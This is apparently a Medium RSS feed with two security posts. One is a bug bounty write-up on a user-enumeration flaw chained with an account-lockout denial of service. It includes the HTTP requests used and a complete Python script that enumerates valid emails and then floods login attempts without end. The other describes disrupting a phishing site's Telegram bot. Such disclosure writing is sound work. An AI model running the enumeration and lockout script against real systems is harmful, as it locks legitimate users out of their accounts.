<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Christos Dimitropoulos on Medium]]></title>
        <description><![CDATA[Stories by Christos Dimitropoulos on Medium]]></description>
        <link>https://medium.com/@christosdimitropouloss?source=rss-ae10e9b1de59------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*A76BxPf-D8MTSYVyaGclyw.png</url>
            <title>Stories by Christos Dimitropoulos on Medium</title>
            <link>https://medium.com/@christosdimitropouloss?source=rss-ae10e9b1de59------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 22:48:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@christosdimitropouloss/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How a Simple Business Logic Flaw Caused an Account Lockout DoS]]></title>
            <link>https://medium.com/@christosdimitropouloss/how-a-simple-business-logic-flaw-caused-an-account-lockout-dos-c6b66bd2e3d0?source=rss-ae10e9b1de59------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6b66bd2e3d0</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[infosec-write-ups]]></category>
            <dc:creator><![CDATA[Christos Dimitropoulos]]></dc:creator>
            <pubDate>Sat, 10 Jan 2026 15:12:13 GMT</pubDate>
            <atom:updated>2026-09-01T13:37:20.837Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>How Everything Started<br></strong>Two days after 2026 had just begun, I received an invite on HackerOne from a well-known company. The obvious decision was to hunt on their program, making this my first vulnerability of the year.</p><p><strong>Caution<br>*</strong> As the program is private, from now on I will be referring to them as redacted.com *.<br> <strong><br>Discovering The Subdomain</strong><br>The program scope was enormous, including essentially every asset owned by the company, covering all subdomains and top-level domains, something like *.redacted.* <br>During my exploration, I discovered a subdomain that provided business clients with IoT solutions. It was particularly interesting because it also allowed potential new business clients to register, and with that in mind, I decided it would be my target.<br> <strong><br>Hitting a Dead End in User Enumeration</strong><br>The first weird behavior that I encountered was on the registration page itself. If an already registered email address was entered, a unique error message would appear, which gave me the idea of user enumeration. The problem was that if an email did not exist, the system would create a new account. If I automated this process, I could potentially end up creating thousands of accounts… which I’m sure actual email owners wouldn’t be too happy about.</p><p><strong>Overcoming The Dead End<br></strong>Nevertheless, I started thinking of ways to enumerate users without creating a new account every time an email did not exist. By default, when creating an account, a POST request was sent that looked something like this:</p><pre>POST /Register/Username<br>Host: redacted.com<br><br>Email=user@gmail.com&amp;Password=test</pre><p>I decided to remove “/Username” and add it as a custom parameter in the body of the request:</p><pre>POST /Register/<br>Host: redacted.com<br><br>Username=Test&amp;Email=user@gmail.com&amp;Password=test</pre><p>The result was that I could create accounts with custom usernames. It wasn’t anything particularly important, but the fact that an account using the username “Test” was already created probably meant that no other account could use the same username. Then I wondered, what would happen if I resent the same request but changed the Email parameter to one that already exists in the system?</p><pre>POST /Register<br>Host: redacted.com<br><br>Username=Test&amp;Email=exists@gmail.com&amp;Password=test</pre><p>The response to that request contained two error messages: one indicating that the username was already taken, and the other stating that the email address was also already taken. That raised a red flag, so I tried resending the same request, this time changing the Email parameter to an address that didn’t exist.</p><pre>POST /Register<br>Host: redacted.com<br><br>Username=Test&amp;Email=new@gmail.com&amp;Password=test</pre><p>As expected, the response to this request contained only one error: that the username was already taken. This meant that if an email address didn’t exist, the system would not create a new account, preventing the flooding issue that had been my problem before. With this, I finally had a reliable way to enumerate existing accounts!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*M4nvNj5NklVApMGZS2K6WA.gif" /></figure><p><strong>Next Step<br></strong>This alone wasn’t much of a vulnerability, and I knew it had to be chained with something else to raise the impact. While playing with the functionality of the application, I observed something interesting: after five failed login attempts at an account, the account gets locked for several minutes, with no way for the owner to unlock it until the lockout period passes. The problem was that, despite the lockout, it was still possible to send invalid login attempts directly via the API, which meant the account remained locked until requests stopped being sent.<br> <br><strong>Account Lockout DoS<br></strong>That seemed very peculiar to me, but I assumed there would be some rate limiting in place to prevent abuse. It turned out I was wrong, there was no rate limit whatsoever. In simple terms, an attacker could continuously send invalid login attempts, keeping the account locked indefinitely, or at least until he decides to stop the attack.<br> <br><strong>Combining Pieces<br></strong>Combined with the account enumeration issue, it was possible to identify valid email addresses and then launch a lockout attack, keeping users out of their accounts with no way to log back in.<br> <br><strong>Demonstration Time<br></strong>To demonstrate that in a real world example, I created a python script that takes a list of email addresses, check which exists In the system, stores them in a different file and then picks one at random and starts account lockout.</p><pre>import requests<br>import re<br>import random<br>from datetime import datetime<br><br><br>#Fetching ASP.NET Anti-Forgery Token / Necessary Cookies<br><br>LoginURL = &quot;https://redacted.com/Login&quot;<br>HTTPSession = requests.Session()<br>HTTPResponse = HTTPSession.get(LoginURL)<br>RegexPattern = r&#39;&lt;input[^&gt;]*name=&quot;__RequestVerificationToken&quot;[^&gt;]*value=&quot;([^&quot;]+)&quot;&#39;<br>RetrieveToken = re.search(RegexPattern, HTTPResponse.text)<br><br>#Account Enumeration <br><br>RegistrationURL = &quot;https://redacted.com/Register&quot;<br>EmailsFile = input(&quot;File: &quot;)<br><br>with open(EmailsFile, &#39;r&#39;) as file:<br>    lines = file.readlines()<br><br>for Email in lines:<br> AccountEnumeration = HTTPSession.post(RegistrationURL, data={<br>  &quot;Username&quot;: &quot;Test&quot;, # Existing Username To Avoid New Account Creation<br>  &quot;Email&quot;: Email.strip(),<br>  &quot;Password&quot;: &quot;SuperSimplePassword124@!&quot;, # Avoiding Weak Password Error<br>  &quot;ConfirmPassword&quot;: &quot;SuperSimplePassword124@!&quot;,<br>  &quot;__RequestVerificationToken&quot;: RetrieveToken.group(1)<br>  })<br><br> if f&quot;{Email.strip()}&amp;#x27; is already taken.&quot; in AccountEnumeration.text:<br>  print(f&#39;Found User: {Email.strip()}&#39;)<br>  with open(&quot;valid.txt&quot;, &quot;a&quot;) as ValidAccounts:<br>   ValidAccounts.write(f&quot;{Email.strip()}\n&quot;) # Storing Valid Accounts In Seperate File<br><br><br>#Account Lockout Attack<br><br>with open(&quot;valid.txt&quot;, &quot;r&quot;) as SelectAccount: # Targeting Random Valid Account<br>    Valid = SelectAccount.readlines()<br>RandomAccount = random.choice(Valid).strip()<br><br><br>LoginParameters = {<br> &quot;Email&quot;: RandomAccount,<br> &quot;Password&quot;: &quot;Test&quot;, # Static Password To Trigger Lockout<br> &quot;button&quot;: &quot;login&quot;,<br> &quot;__RequestVerificationToken&quot; : RetrieveToken.group(1)<br>}<br><br>print(f&quot;[{datetime.now().time().replace(microsecond=0)}] Attack Started {RandomAccount}&quot;)<br>while True:<br> LockAccount = HTTPSession.post(LoginURL, data=LoginParameters)</pre><p><strong>Final Words<br></strong>And that was it! A simple vulnerability driven entirely by a logical flaw. This proves that the most harmful attacks aren’t always the most complicated ones, sometimes, they’re right in front of us and just require careful attention to detail.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*LoJ6xFun3ePlXioyvMj7gw.gif" /></figure><p>That’s all folks — peace.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6b66bd2e3d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Handle With Care: A Package Phishing Story]]></title>
            <link>https://medium.com/@christosdimitropouloss/handle-with-care-a-package-phishing-story-8ef82233d4dc?source=rss-ae10e9b1de59------2</link>
            <guid isPermaLink="false">https://medium.com/p/8ef82233d4dc</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[infosecurity]]></category>
            <category><![CDATA[infosec-write-ups]]></category>
            <dc:creator><![CDATA[Christos Dimitropoulos]]></dc:creator>
            <pubDate>Sun, 30 Nov 2025 15:59:09 GMT</pubDate>
            <atom:updated>2026-03-24T07:08:05.542Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>*Disclaimer*<br></strong>To protect readers, I will not reveal the genuine domain or the exact email message. Additionally, I do not intend to disclose my Python script, as threat actors could misuse it to attack actual Telegram bots.</p><p><strong>The Story Unfolds<br></strong>This story begins on a quiet morning. Out of the blue, I received an email, supposedly from a well-known postal service, claiming that a delivery package of mine had arrived at the sorting center and demanding that I confirm my details! otherwise, I would be charged extra. I knew right away that this had nothing to do with me and it was clearly another classic phishing campaign.</p><p><strong>Behind The Mask<br></strong>Apart from the message itself, there was also a link labeled <strong>“</strong>Confirm my Details<strong>,”</strong> hidden behind a URL shortener. At first glance, it might have looked harmless to the untrained eye, but I knew right away what it was.</p><p><strong>Ignoring It Wasn’t A Solution<br></strong>I was used to receiving phishing emails, and most of the time I’d experiment with them to understand how they worked. Occasionally, I went a step further and took some of them down. This was one of those cases.</p><p><strong>Inside The Phishing Page<br></strong>Opening the link, I was greeted by a casual phishing page. At the top sat the logo of the postal service, giving it a feel of legitimacy. Below were several fields asking for my name, surname,address and most tellingly, my credit card details…</p><p>From experience, I knew that phishing pages like this often hide countless flaws and sure enough, I was right. One vulnerability was so severe that it exposed the entire database of phished credentials. But that is a story for another time.</p><p><strong>Telegram Wasn’t Missing<br></strong>While examining the site for more weaknesses, I discovered that whenever victims entered their credit card details, the site sent the details straight into a Telegram group chat via a Telegram bot (bot token and chat ID were revealed).</p><p><strong>Crafting The Script<br></strong>A bit of searching on the web revealed that Telegram offers full API documentation for controlling such bots. Armed with that knowledge, I crafted a custom Python script that could extract information about the chat, and even force the bot to spam messages, leave the chat, and much more…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*WGjrdjUCnJ2oD7tuIuJobQ.gif" /></figure><p><strong>Turning The Tables<br></strong>It was time for action. I entered the bot token and chat ID into my custom script, then began probing. Within moments, I was able to gather basic information about the members of the chat and the bot itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fCWt1GCJ3EIEIllPmecfCQ.png" /></figure><p>Then came the fun part: I set the Telegram bot to spam messages and left it running. Scammers aren’t patient and within minutes, they took the bot down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LDRbTG3NpnPeVVgk6I4j1g.png" /></figure><p>However, about an hour later, a new Telegram bot was created and linked to the phishing site. I took that as a challenge and modified my script so it could automatically detect and fetch any newly configured bots whenever they appeared. A day later the whole page was down!</p><p><strong>In the End, It’s an Endless Fight<br></strong>While I was glad to have saved at least a few innocent people from this scam, I knew that phishing pages are like the Lernaean Hydra: cut off one head, and two more grow back. And just like the Hydra, they’ll keep coming back with new domains and methods.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*hF5gurBymT-Cx4Vn2lJeAg.gif" /></figure><p>That’s all folks — peace.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ef82233d4dc" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>